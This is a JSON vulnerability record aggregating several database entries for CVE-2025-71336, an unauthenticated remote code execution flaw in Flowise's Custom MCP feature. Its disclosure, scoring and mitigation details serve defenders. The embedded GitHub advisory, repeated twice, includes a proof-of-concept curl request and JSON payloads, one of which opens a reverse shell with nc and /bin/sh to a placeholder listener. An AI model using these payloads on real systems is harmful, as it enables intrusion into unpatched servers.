{"id":"CVE-2025-71336","aliases":["EUVD-2025-210342","GHSA-6933-jpx5-q87q","GHSA-q2xp-j85q-883h"],"status":"published","title":"Flowise - Unsandboxed Remote Code Execution via Custom MCP","description":"Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01148,"percentile":0.67266,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78","CWE-862"],"published":"2025-09-15T20:30:30Z","modified":"2026-11-03T17:45:08Z","fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.0.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.7-patch.1"},{"fixed":"3.0.6"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.7-patch.1"},{"fixed":"3.0.6"}]}]}],"products":[{"vendor":"flowise","product":"flowise"},{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q","tags":["vendor-advisory","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/flowise-unsandboxed-remote-code-execution-via-custom-mcp","tags":["third-party-advisory","Third Party Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/pull/5201","tags":["web"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9","tags":["web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71336","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6933-jpx5-q87q"},{"url":"https://github.com/advisories/GHSA-q2xp-j85q-883h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71336.json","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71336","title":"Flowise - Unsandboxed Remote Code Execution via Custom MCP","description":"Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.","status":"published","published":"2026-06-25T21:41:06.841Z","modified":"2026-06-30T13:35:52.676Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:32:42.751171Z"}],"euvd":[{"id":"EUVD-2025-210342","description":"Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.","status":"published","published":"2026-06-25T21:41:06Z","modified":"2026-06-30T13:35:52Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:20:21.627235Z"}],"ghsa":[{"id":"GHSA-6933-jpx5-q87q","title":"Flowise has unsandboxed remote code execution via Custom MCP","description":"### Summary\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.\n\nThis combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.\n\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"touch\",\"args\": [\"/tmp/yofitofi\"]}},\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n\nSimilarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"nc\",\"args\": [\n\"\u003cLISTENER_IP_ADDRESS\u003e\",\"\u003cLISTENER_PORT\u003e\",\"-e\",\"/bin/sh\"\n]}},\n\"loadMethod\":\"listActions\"}\n```\n\n![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)\n\n### Impact\nRemote code execution\n\n### Mitigation\n- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with \"Admin\" roles will be able to configure new Custom MCPs within the platform.\n- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.\n- Consider running Custom MCPs within a sandboxed environment\n\n### Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.","status":"published","published":"2025-09-15T20:30:30Z","modified":"2026-11-03T17:36:36Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-78","CWE-862"],"updated_at":"2026-11-03T17:59:55.458475Z"},{"id":"GHSA-q2xp-j85q-883h","title":"Duplicate Advisory: Flowise has unsandboxed remote code execution via Custom MCP","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6933-jpx5-q87q. This link is maintained to preserve external references.\n\n### Original Description\n\nFlowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.","status":"withdrawn","published":"2026-06-26T00:32:05Z","modified":"2026-11-03T17:36:24Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-03T17:59:55.458475Z"}],"nvd":[{"id":"CVE-2025-71336","description":"Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.","status":"published","published":"2026-06-25T22:16:59.39Z","modified":"2026-10-12T21:10:00.227Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71336","title":"Flowise - Unsandboxed Remote Code Execution via Custom MCP","description":"Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.","status":"published","published":"2026-06-25T21:41:06.841Z","modified":"2026-10-28T02:30:22.046566588Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:44:53.185592Z"},{"id":"GHSA-6933-jpx5-q87q","title":"Flowise has unsandboxed remote code execution via Custom MCP","description":"### Summary\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.\n\nThis combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.\n\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"touch\",\"args\": [\"/tmp/yofitofi\"]}},\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n\nSimilarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"nc\",\"args\": [\n\"\u003cLISTENER_IP_ADDRESS\u003e\",\"\u003cLISTENER_PORT\u003e\",\"-e\",\"/bin/sh\"\n]}},\n\"loadMethod\":\"listActions\"}\n```\n\n![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)\n\n### Impact\nRemote code execution\n\n### Mitigation\n- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with \"Admin\" roles will be able to configure new Custom MCPs within the platform.\n- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.\n- Consider running Custom MCPs within a sandboxed environment\n\n### Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.","status":"published","published":"2025-09-15T20:30:30Z","modified":"2026-11-03T17:45:08.811461505Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-78","CWE-862"],"updated_at":"2026-11-03T18:00:11.308756Z"},{"id":"GHSA-q2xp-j85q-883h","title":"Duplicate Advisory: Flowise has unsandboxed remote code execution via Custom MCP","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6933-jpx5-q87q. This link is maintained to preserve external references.\n\n### Original Description\n\nFlowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.","status":"withdrawn","published":"2026-06-26T00:32:05Z","modified":"2026-11-03T17:45:08.814464998Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-03T18:00:11.308756Z"}]}}